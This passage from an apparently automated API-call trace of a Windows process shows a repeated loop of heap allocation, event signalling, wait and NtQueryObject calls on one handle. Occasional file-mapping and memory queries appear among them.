(HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.431] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.431] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.432] ResetEvent (hEvent=0xdc) returned 1 [0093.432] SetEvent (hEvent=0xe0) returned 1 [0093.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.432] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.432] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.433] ResetEvent (hEvent=0xdc) returned 1 [0093.433] SetEvent (hEvent=0xe0) returned 1 [0093.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.433] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.434] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.434] ResetEvent (hEvent=0xdc) returned 1 [0093.434] SetEvent (hEvent=0xe0) returned 1 [0093.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.434] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.435] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.435] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.435] ResetEvent (hEvent=0xdc) returned 1 [0093.435] SetEvent (hEvent=0xe0) returned 1 [0093.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.435] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.436] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.436] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.436] ResetEvent (hEvent=0xdc) returned 1 [0093.436] SetEvent (hEvent=0xe0) returned 1 [0093.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.436] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.437] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.437] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.437] ResetEvent (hEvent=0xdc) returned 1 [0093.437] SetEvent (hEvent=0xe0) returned 1 [0093.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.437] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.438] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.438] ResetEvent (hEvent=0xdc) returned 1 [0093.438] SetEvent (hEvent=0xe0) returned 1 [0093.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.438] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.439] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.439] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.439] ResetEvent (hEvent=0xdc) returned 1 [0093.439] SetEvent (hEvent=0xe0) returned 1 [0093.439] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.439] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.440] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.440] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.440] ResetEvent (hEvent=0xdc) returned 1 [0093.440] SetEvent (hEvent=0xe0) returned 1 [0093.440] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.440] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.441] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.441] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.441] ResetEvent (hEvent=0xdc) returned 1 [0093.441] SetEvent (hEvent=0xe0) returned 1 [0093.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.441] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.442] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.442] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.442] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.442] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.442] ResetEvent (hEvent=0xdc) returned 1 [0093.442] SetEvent (hEvent=0xe0) returned 1 [0093.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.443] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.443] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.443] ResetEvent (hEvent=0xdc) returned 1 [0093.443] SetEvent (hEvent=0xe0) returned 1 [0093.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.444] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.444] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.444] ResetEvent (hEvent=0xdc) returned 1 [0093.444] SetEvent (hEvent=0xe0) returned 1 [0093.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.445] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.445] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.445] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.445] ResetEvent (hEvent=0xdc) returned 1 [0093.445] SetEvent (hEvent=0xe0) returned 1 [0093.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.446] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.446] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.446] ResetEvent (hEvent=0xdc) returned 1 [0093.446] SetEvent (hEvent=0xe0) returned 1 [0093.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.447] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.447] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.447] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.447] ResetEvent (hEvent=0xdc) returned 1 [0093.447] SetEvent (hEvent=0xe0) returned 1 [0093.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.448] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.448] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.448] ResetEvent (hEvent=0xdc) returned 1 [0093.448] SetEvent (hEvent=0xe0) returned 1 [0093.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.449] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.449] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.449] ResetEvent (hEvent=0xdc) returned 1 [0093.449] SetEvent (hEvent=0xe0) returned 1 [0093.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.450] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.450] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.450] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.450] ResetEvent (hEvent=0xdc) returned 1 [0093.450] SetEvent (hEvent=0xe0) returned 1 [0093.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.451] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.451] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.451] ResetEvent (hEvent=0xdc) returned 1 [0093.451] SetEvent (hEvent=0xe0) returned 1 [0093.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.452] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.452] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.452] ResetEvent (hEvent=0xdc) returned 1 [0093.452] SetEvent (hEvent=0xe0) returned 1 [0093.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.453] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.453] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.454] ResetEvent (hEvent=0xdc) returned 1 [0093.454] SetEvent (hEvent=0xe0) returned 1 [0093.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.454] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.455] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.455] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.455] ResetEvent (hEvent=0xdc) returned 1 [0093.455] SetEvent (hEvent=0xe0) returned 1 [0093.455] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.455] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.456] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.456] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.456] ResetEvent (hEvent=0xdc) returned 1 [0093.456] SetEvent (hEvent=0xe0) returned 1 [0093.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.456] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.457] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.457] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.457] ResetEvent (hEvent=0xdc) returned 1 [0093.457] SetEvent (hEvent=0xe0) returned 1 [0093.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.457] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.458] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.458] ResetEvent (hEvent=0xdc) returned 1 [0093.458] SetEvent (hEvent=0xe0) returned 1 [0093.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.458] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.459] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.459] ResetEvent (hEvent=0xdc) returned 1 [0093.459] SetEvent (hEvent=0xe0) returned 1 [0093.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.459] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.460] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.460] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.460] ResetEvent (hEvent=0xdc) returned 1 [0093.460] SetEvent (hEvent=0xe0) returned 1 [0093.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.460] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.461] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.461] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.461] ResetEvent (hEvent=0xdc) returned 1 [0093.461] SetEvent (hEvent=0xe0) returned 1 [0093.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.462] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.462] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.462] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.462] ResetEvent (hEvent=0xdc) returned 1 [0093.462] SetEvent (hEvent=0xe0) returned 1 [0093.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.463] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.463] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.463] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.463] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.463] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.463] ResetEvent (hEvent=0xdc) returned 1 [0093.463] SetEvent (hEvent=0xe0) returned 1 [0093.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.464] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.464] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.464] ResetEvent (hEvent=0xdc) returned 1 [0093.464] SetEvent (hEvent=0xe0) returned 1 [0093.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.465] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.465] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.465] ResetEvent (hEvent=0xdc) returned 1 [0093.465] SetEvent (hEvent=0xe0) returned 1 [0093.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.466] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.466] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.466] ResetEvent (hEvent=0xdc) returned 1 [0093.466] SetEvent (hEvent=0xe0) returned 1 [0093.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.467] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.467] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.467] ResetEvent (hEvent=0xdc) returned 1 [0093.467] SetEvent (hEvent=0xe0) returned 1 [0093.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.468] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.468] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.468] ResetEvent (hEvent=0xdc) returned 1 [0093.469] SetEvent (hEvent=0xe0) returned 1 [0093.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.469] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.469] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.469] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.470] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.470] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.470] ResetEvent (hEvent=0xdc) returned 1 [0093.470] SetEvent (hEvent=0xe0) returned 1 [0093.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.470] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.471] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.471] ResetEvent (hEvent=0xdc) returned 1 [0093.471] SetEvent (hEvent=0xe0) returned 1 [0093.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.471] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.472] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.472] ResetEvent (hEvent=0xdc) returned 1 [0093.472] SetEvent (hEvent=0xe0) returned 1 [0093.472] RtlAllocateHeap 